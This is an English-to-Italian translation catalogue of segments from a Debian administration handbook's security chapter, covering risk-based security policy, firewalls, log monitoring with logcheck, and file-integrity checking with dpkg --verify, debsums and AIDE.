0 - en to it-IT translation catalogue (271 entries)

en: Security
it-IT: Sicurezza

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
it-IT: Un sistema informatico può presentare un livello di importanza variabile a seconda dell'ambiente. In alcuni casi è vitale per la sopravvivenza dell'azienda. Perciò deve essere protetto da vari tipi di rischi. Il processo di valutazione di questi rischi, la loro definizione e l'implementazione della protezione sono comunemente conosciuti come «processo di sicurezza».

en: Defining a Security Policy
it-IT: Definire la politica di sicurezza

en: <emphasis>CAUTION</emphasis> Scope of this chapter
it-IT: <emphasis>ATTENZIONE</emphasis> Scopo di questo capitolo

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
it-IT: La parola «sicurezza» di per sé coinvolge un ampio inseme di concetti, strumenti e procedure, nessuno dei quali ha valenza universale. Per scegliere tra questi bisogna farsi un'idea precisa di quali siano i propri obbiettivi. La messa in sicurezza di un sistema inizia con la ricerca della risposta ad alcune domande. Buttandosi a capofitto nell'implementazione di un insieme arbitrario di strumenti, si rischia di concentrarsi su aspetti errati della sicurezza.

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
it-IT: La primissima cosa da definire è perciò lo scopo. Un buon approccio che ne facilita l'individuazione inizia con le seguenti domande:

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
it-IT: <emphasis>Cosa</emphasis> stiamo tentando di proteggere? La politica di sicurezza sarà differente se vogliamo proteggere il computer oppure i dati. Nell'ultimo caso, abbiamo anche bisogno di conoscere quali dati.

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
it-IT: Da <emphasis>cosa</emphasis> stiamo tentando di proteggerci? Fuga di dati confidenziali? Perdita accidentale di dati? Mancati ricavi derivanti da interruzione di servizio?

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
it-IT: Inoltre, <emphasis>da chi</emphasis> stiamo tentando di proteggerci? Le misure di sicurezza possono essere piuttosto differenti se si deve rimediare all'errore di un utente ordinario rispetto alla difesa da un gruppo di autori di attacchi determinati.

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
it-IT: Il termine «rischio» è utilizzato abitualmente per riferirsi all'insieme di questi tre fattori: cosa proteggere, cosa si vuole evitare che accada, e chi vuole che accada. L'individuazione del rischio richiede la risposta a queste tre domande. Da questo modello di rischio può essere costruita una politica di sicurezza, che può essere implementata con azioni concrete.

en: <emphasis>NOTE</emphasis> Permanent questioning
it-IT: <emphasis>NOTA</emphasis> Farsi continuamente domande

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
it-IT: Bruce Schneier, esperto mondiale in materia di sicurezza (non solo di sicurezza informatica) cerca di contrastare uno dei miti principali della sicurezza con un motto: «La sicurezza è un processo, non un prodotto». Il patrimonio da proteggere varia nel tempo, e di pari passo variano anche le minacce e i mezzi a disposizione dei potenziali autori di un attacco. Sebbene la politica di sicurezza inizialmente sia stata progettata e implementata allo stato dell'arte, non bisogna mai dormire sugli allori. Le componenti del rischio evolvono, e di conseguenza deve evolvere la risposta a questo rischio.

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
it-IT: Vale la pena di prendere in considerazione anche vincoli aggiuntivi, in quanto possono restringere la gamma delle politiche da intraprendere. Quanto siamo disposti a fare per proteggere il sistema? Questa domanda ha un forte impatto sulle scelte da adottare. La risposta è troppo spesso definita unicamente in base ad aspetti economici, ma bisogna considerare anche altri elementi, come la quantità di disagio imposto agli utenti del sistema o l'impatto negativo sulle prestazioni.

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
it-IT: Una volta creato un modello del rischio, bisogna iniziare a pensare alla progettazione di una concreta politica di sicurezza.

en: <emphasis>NOTE</emphasis> Extreme policies
it-IT: <emphasis>NOTA</emphasis> Politiche estreme

en: There are cases where the choice of actions required to secure a system is extremely simple.
it-IT: Ci sono casi in cui la scelta delle azioni richieste per mettere in sicurezza un sistema è estremamente semplice.

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
it-IT: Per esempio, se il sistema da proteggere comprende solamente un computer di seconda mano, il cui unico utilizzo è quello di fare un po' di calcoli al termine della giornata, potrebbe essere piuttosto ragionevole decidere di non fare nulla di particolare per proteggerlo. Il valore intrinseco del sistema è basso. Il valore dei dati è zero poiché non sono immagazzinati nella macchina. Un potenziale autore di un attacco che si infiltrasse nel «sistema» guadagnerebbe solo un'ingombrante calcolatrice. Il costo della messa in sicurezza di tale sistema sarebbe probabilmente maggiore del costo della violazione.

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
it-IT: All'altro estremo, potremmo voler proteggere la confidenzialità di dati segreti nel modo più completo possibile, sopra ogni altra considerazione. In questo caso, una risposta appropriata potrebbe essere la distruzione totale di quei dati (eliminando i file in modo sicuro, distruggendo in pezzi il disco fisso, sciogliendoli poi in acido e così via). Se invece c'è il requisito aggiuntivo di mantenere i dati archiviati per un uso futuro (anche se non necessariamente a portata di mano) e se il costo non è ancora un fattore importante, allora un punto di partenza potrebbe essere memorizzare i dati su piastre di lega platino-iridio stoccate in bunker a prova di bomba sotto varie montagne sparse nel mondo, ognuno dei quali (ovviamente) totalmente segreti e sorvegliati da interi eserciti…

en: Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.
it-IT: Per quanto estremi possano sembrare questi esempi, sarebbero tuttavia, una risposta adeguata ai rischi definiti, in quanto sono il risultato di un ragionamento che tiene conto degli obiettivi da raggiungere e dei vincoli da rispettare. Nessuna politica di sicurezza, quando deriva da una decisione ragionata, è meno rispettabile di ogni altra.

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
it-IT: Nella maggior parte dei casi, il sistema informatico può essere segmentato in sottoinsiemi coerenti e per lo più indipendenti. Ogni sottosistema avrà i propri requisiti e vincoli, e quindi la valutazione del rischio e la progettazione della politica di sicurezza dev'essere effettuata separatamente per ognuno. Un buon principio da seguire è che un perimetro breve e ben definito è più facile da difendere di una frontiera lunga e tortuosa. L'architettura di rete dev'essere progettata di conseguenza: i servizi critici devono essere concentrati in poche macchine, e tali macchine devono essere accessibili attraverso un numero minimo di punti di controllo; sarà più facile proteggere questi punti piuttosto di schermare tutte le macchine sensibili dall'intero mondo esterno. È a questo punto che diventa evidente l'utilità di regolamentare il traffico di rete (anche attraverso firewall). Questo processo può essere implementato con hardware dedicato, ma una possibile soluzione più semplice e flessibile è l'uso di un firewall software come quello integrato nel kernel Linux.

en: Firewall or Packet Filtering
it-IT: Firewall o filtraggio dei pacchetti

en: <emphasis>BACK TO BASICS</emphasis> Firewall
it-IT: <emphasis>FONDAMENTALI</emphasis> Firewall

en: <primary>packet</primary><secondary>IP</secondary>
it-IT: <primary>pacchetto</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
it-IT: Il <emphasis>firewall</emphasis> è un componente informatico provvisto di hardware e/o software che smista i pacchetti di rete in ingresso o uscita (che arrivano o lasciano la rete locale) e li lascia passare solo se soddisfano determinati criteri predefiniti.

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
it-IT: Il firewall è un punto di filtraggio di rete ed è efficace solo per i pacchetti che devono transitare da esso. Perciò può essere efficace solo se il passaggio attraverso il firewall è l'unico instradamento possibile per quei pacchetti.

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
it-IT: <emphasis>CASO SPECIFICO</emphasis> Firewall Locale

en: The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall, which can be controlled from user space with the <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> and <command>ebtables</command> commands.
it-IT: Il kernel Linux incorpora il firewall <emphasis>netfilter</emphasis>. Può essere controllato nello spazio utente con i comandi <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> e <command>ebtables</command>.

en: To enable a default firewall in Debian execute:
it-IT: Per abilitare un firewall predefinito in Debian eseguire:

en: <primary>chain</primary>
it-IT: <primary>catena</primary>

en: <emphasis>BACK TO BASICS</emphasis> ICMP
it-IT: <emphasis>FONDAMENTALI</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
it-IT: Per chiarezza, un buffer di ricezione è una piccola area di memoria che immagazzina i dati nel tempo che intercorre tra il loro arrivo dalla rete e la loro elaborazione da parte del kernel. Se quest'area si riempie, non possono esser ricevuti nuovi dati, e l'ICMP segnala il problema, così la sorgente può abbassare la velocità di trasferimento (che raggiungerà idealmente un equilibrio dopo un certo tempo).

en: <primary>receive buffer</primary>
it-IT: <primary>buffer di ricezione</primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
it-IT: <primary>buffer</primary><secondary>buffer di ricezione</secondary>

en: Syntax of <command>nft</command>
it-IT: Sintassi di <command>nft</command>

en: Installing the Rules at Each Boot
it-IT: Installare le regole ad ogni avvio

en: <filename>interfaces</filename> file calling firewall script
it-IT: File <filename>interfaces</filename> che richiama lo script del firewall

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
it-IT: Questo presuppone ovviamente che si stia usando <emphasis role="pkg">ifupdown</emphasis> per configurare le interfacce di rete. Se si sta utilizzando qualcos'altro (come <emphasis>NetworkManager</emphasis> o <emphasis>systemd-networkd</emphasis>), bisogna invece fare riferimento alla loro documentazione per trovare il modo di eseguire lo script dopo che l'interfaccia di rete è stata abilitata.

en: Supervision: Prevention, Detection, Deterrence
it-IT: Supervisione: prevenire, rilevare, dissuadere

en: <primary>monitoring</primary>
it-IT: <primary>monitoraggio</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
it-IT: Il monitoraggio è parte integrante di ogni politica di sicurezza per svariati motivi. Tra questi, il fatto che l'obiettivo della sicurezza non è solitamente limitato soltanto alla garanzia della riservatezza dei dati, ma include anche l'assicurazione alla disponibilità dei servizi. È quindi obbligatorio verificare che tutto funzioni come previsto, e rilevare in maniera tempestiva ogni comportamento anomalo o variazione nella qualità dei(l) servizi(o) erogati(o). L'attività di monitoraggio permette di evidenziare tentativi di intrusione e permette di reagire rapidamente prima che si possa arrivare a gravi conseguenze. Questa sezione passa in rassegna alcuni strumenti che possono essere usati per monitorare molti degli aspetti di un sistema Debian. Come tale, completa <xref linkend="sect.monitoring" />.

en: Monitoring Logs with <command>logcheck</command>
it-IT: Monitorare i log con <command>logcheck</command>

en: <primary>monitoring</primary><secondary>log files</secondary>
it-IT: <primary>monitoraggio</primary><secondary>file di log</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
it-IT: Il comando <command>logcheck</command> monitora i file di log ogni ora per impostazione predefinita. Invia messaggi di log inconsueti via email all'amministratore per analisi più approfondite.

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
it-IT: La lista dei file monitorati è salvata in <filename>/etc/logcheck/logcheck.logfiles</filename>; i valori predefiniti funzionano bene se il file <filename>/etc/rsyslog.conf</filename> non è stato completamente stravolto.

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
it-IT: <command>logcheck</command> lavora in uno di tre modi più o meno dettagliati: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> e <emphasis>workstation</emphasis>. Il primo è <emphasis>molto</emphasis> prolisso, e dovrebbe essere usato solo per server specifici come i firewall. Il secondo modo (predefinito) è consigliato per la maggior parte dei server. L'ultimo è progettato per le workstation, ed è ancora più conciso (filtra maggiormente i messaggi).

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
it-IT: In tutti e tre i casi, <command>logcheck</command> probabilmente dovrà essere personalizzato escludendo alcuni messaggi extra (a seconda dei servizi installati), a meno che l'amministratore non voglia veramente ricevere ammassi orari di lunghe e noiose email. Poiché il meccanismo di selezione dei messaggi è piuttosto complesso, il file <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> è una lettura consigliata, anche se impegnativa.

en: The applied rules can be split into several types:
it-IT: Le regole applicate possono essere suddivise in varie tipologie:

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
it-IT: quelle che qualificano il messaggio come un tentativo di intrusione (memorizzato in un file nella directory <filename>/etc/logcheck/cracking.d/</filename>);

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
it-IT: quelle che cancellano tale qualifica (<filename>/etc/logcheck/cracking.ignore.d/</filename>);

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
it-IT: quelle che classificano il messaggio come un allarme di sicurezza (<filename>/etc/logcheck/violations.d/</filename>);

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
it-IT: quelle che cancellano questa classificazione (<filename>/etc/logcheck/violations.ignore.d/</filename>);

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
it-IT: infine, quelle che si applicano ai rimanenti messaggi (considerati come <emphasis>eventi di sistema</emphasis>).

en: <emphasis>CAUTION</emphasis> Ignoring a message
it-IT: <emphasis>ATTENZIONE</emphasis> Ignorare un messaggio

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
it-IT: Tutti i messaggi etichettati come tentativo di intrusione oppure come allarme di sicurezza (seguendo una regola memorizzata in un file <filename>/etc/logcheck/violations.d/miofile</filename>) possono essere ignorati solamente tramite una regola nei file <filename>/etc/logcheck/violations.ignore.d/miofile</filename> oppure <filename>/etc/logcheck/violations.ignore.d/miofile-<replaceable>estensione</replaceable></filename>.

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
it-IT: Un evento di sistema è sempre segnalato a meno che una regola in una directory <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> stabilisca che l'evento debba essere ignorato. Le sole directory prese in considerazione sono esclusivamente quelle corrispondenti ad un livello di prolissità maggiore o uguale alla modalità di funzionamento selezionata.

en: Monitoring Activity
it-IT: Attività di monitoraggio

en: <primary>monitoring</primary><secondary>activity</secondary>
it-IT: <primary>monitoraggio</primary><secondary>attività</secondary>

en: <primary>activity, monitoring</primary>
it-IT: <primary>attività, monitoraggio</primary>

en: In Real Time
it-IT: In tempo reale

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
it-IT: <command>top</command> è uno strumento interattivo che mostra l'elenco dei processi attualmente in esecuzione. L'ordinamento predefinito è basato sull'utilizzo corrente del processore e può essere ottenuto con il tasto <keycap>P</keycap>. Altri tipi di ordinamento sono per occupazione di memoria (tasto <keycap>M</keycap>), per tempo totale di processore (tasto <keycap>T</keycap>) e per identificatore di processo (tasto <keycap>N</keycap>). Il tasto <keycap>k</keycap> permette di terminare un processo inserendo il suo identificatore di processo. Il tasto <keycap>r</keycap> permette il <emphasis>renice</emphasis> di un processo, cioè la variazione della sua priorità.

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
it-IT: <command>top</command> è uno strumento molto flessibile e le pagine del manuale riportano i dettagli di come modificarne la visualizzazione e adattarla alle abitudini e bisogni personali.

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
it-IT: Lo strumento grafico <command>gnome-system-monitor</command> è simile a <command>top</command> e fornisce più o meno le stesse caratteristiche.

en: History
it-IT: Storico

en: <primary>activity, history</primary>
it-IT: <primary>attività, storico</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
it-IT: Il carico del processore, il traffico di rete e lo spazio libero su disco sono informazioni che variano costantemente. Mantenere uno storico della loro evoluzione spesso è utile nel determinare esattamente come viene utilizzato un computer.

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
it-IT: Esistono molti strumenti dedicati a questo compito. La maggior parte può recuperare dati via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) al fine di centralizzare l'informazione. Un ulteriore beneficio è che si possono recuperare dati da elementi di rete che non necessariamente sono computer generici, come ad esempio switch di rete o router dedicati.

en: <emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>
it-IT: <emphasis>ALTERNATIVA</emphasis> <command>mrtg</command>

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
it-IT: <command>mrtg</command> (nel pacchetto che ha lo stesso nome) è un vecchio strumento. Nonostante sia un po' grezzo, può aggregare dati storici e visualizzarli sotto forma di grafici. Il pacchetto comprende una serie di script dedicati alla raccolta dei dati monitorati più diffusi come il carico del processore, il traffico di rete, le visite alle pagine web e così via.

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
it-IT: I pacchetti <emphasis role="pkg">mrtg-contrib</emphasis> e <emphasis role="pkg">mrtgutils</emphasis> contengono script di esempio che possono essere utilizzati direttamente.

en: <primary>intrusion detection</primary>
it-IT: <primary>rilevazione delle intrusioni</primary>

en: Detecting Changes
it-IT: Rilevare le modifiche

en: Auditing Packages with <command>dpkg --verify</command>
it-IT: Revisione dei Pacchetti con <command>dpkg --verify</command>

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
it-IT: <emphasis>APPROFONDIMENTI</emphasis> Proteggere contro le modifiche degli autori originali

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
it-IT: <command>dpkg --verify</command> (o <command>dpkg -V</command>) è un'interessante strumento che permette di trovare i file installati che sono stati modificati (potenzialmente da un hacker), ma questo dovrebbe essere preso con le pinze. Per fare il proprio lavoro si basa su checksum memorizzati sul proprio database dpkg sull'hard disk (posso essere trovati in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); un hacker scrupoloso aggiornerà quindi questi file in modo da contenere i nuovi checksum per i file modificati.

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
it-IT: <emphasis>FONDAMENTALI</emphasis> File di Imponte Digitali

en: <primary>fingerprint</primary>
it-IT: <primary>impronta digitale</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
it-IT: L'esecuzione di <command>dpkg -V</command> verificherà tutti i pacchetti installati e stamperà una riga per ogni file con test fallito. Il formato è uguale a quello di <command>rpm -V</command> dove ogni carattere indica un test su alcuni meta-dati specifici. Purtroppo <command>dpkg</command> non memorizza i meta-dati necessari per la maggior parte dei test e quindi questi saranno contrassegnati con un punto interrogativo. Attualmente solo il test di checksum può produrre un "5" sul terzo carattere (quando fallisce).

en: Auditing Packages: <command>debsums</command> and its Limits
it-IT: Controllo dei pacchetti: <command>debsums</command> e i suoi limiti

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
it-IT: Dal momento che i dati su disco non possono essere sicuri, <command>debsums</command> offre la possibilità di fare i controlli sulla base dei file <filename>.deb</filename> anzichè affidarsi al database di dpkg. Per scaricare i file <filename>.deb</filename> fidati di tutti i pacchetti installati, possiamo contare solo sui download autenticati di APT. Questa operazione può essere lenta e noiosa, e quindi non dovrebbe essere considerata una tecnica proattiva da utilizzare in modo abituale.

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
it-IT: Da notare che questo esempio utilizza il comando <command>grep-status</command> del pacchetto <emphasis role="pkg">dctrl-tools</emphasis>, che non è installato in modo predefinito.

en: Monitoring Files: AIDE
it-IT: Monitorare i file: AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
it-IT: Lo strumento AIDE (<emphasis>Advanced Intrusion Detection Environment</emphasis>) permette di verificare l'integrità dei file e rileva tutti i cambiamenti rispetto ad una immagine valida archiviata del sistema. Questa immagine viene memorizzata in un database (<filename>/var/lib/aide/aide.db</filename>) contenente le informazioni significative di tutti i file del sistema (impronte digitali, permessi, data e ora e così via). Questo database viene generato inizialmente con <command>aideinit</command>; esso viene poi utilizzato su base giornaliera (dallo script <filename>/etc/cron.daily/aide</filename>) per verificare che non sia cambiato nulla di significativo. Quando viene rilevata una modifica, AIDE la elenca nei file di log (<filename>/var/log/aide/*.log</filename>) e invia i risultati via email all'amministratore.

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
it-IT: <emphasis>IN PRATICA</emphasis> Proteggere il database

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
it-IT: Dal momento che AIDE usa un database locale per confrontare lo stato dei file, l'affidabilità dei suoi risultati è direttamente legata alla validità del suo database. Se un autore di un attacco acquisisce i permessi di root su un sistema compromesso, sarà in grado di sostituire il database per nascondere le sue tracce. Una possibile soluzione è quella di salvare i relativi dati su un supporto a sola lettura.

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
it-IT: Sono presenti molte opzioni in <filename>/etc/default/aide</filename> per modificare il comportamento del pacchetto <emphasis role="pkg">aide</emphasis>. La configurazione vera e propria di AIDE viene memorizzata in <filename>/etc/aide/aide.conf</filename> e <filename>/etc/aide/aide.conf.d/</filename> (in realtà, questi file vengono utilizzati da <command>update-aide.conf</command> per generare <filename>/var/lib/aide/aide.conf.autogenerated</filename>). La configurazione indica quali proprietà di quali file devono essere controllate. Per esempio, il contenuto dei file di log cambia regolarmente, e tali cambiamenti possono essere ignorati fino a quando i permessi di questi file rimangono invariati, ma sia il contenuto che i permessi dei programmi eseguibili devono rimanere costanti. Anche se non molto complessa, la sintassi della configurazione non è del tutto intuitiva, ed è quindi consigliato leggere la pagina di manuale <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry>.

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
it-IT: Una nuova versione del database è generata giornalmente in <filename>/var/lib/aide/aide.db.new</filename>; se tutte le variazioni raccolte sono legittime, viene usato per sostituire il database di riferimento.

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
it-IT: <emphasis>ALTERNATIVE</emphasis> Tripwire e Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
it-IT: Tripwire è molto simile ad AIDE; anche la sintassi del file di configurazione è bene o male la stessa. La principale novità fornita da <emphasis role="pkg">tripwire</emphasis> è il meccanismo di firma del file di configurazione, affinché un autore di un attacco non possa associarlo a una diversa versione del database di riferimento.

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
it-IT: Anche Samhain offre caratteristiche simili, oltre ad alcune funzioni per permettere la rilevazione dei rootkit (vedere il riquadro <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). Può anche essere distribuito globalmente in rete, memorizzando i suoi risultati in un server centrale (con firma).

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
it-IT: <emphasis>APPROFONDIMENTI</emphasis> I pacchetti <emphasis role="pkg">checksecurity</emphasis> e <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis>

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
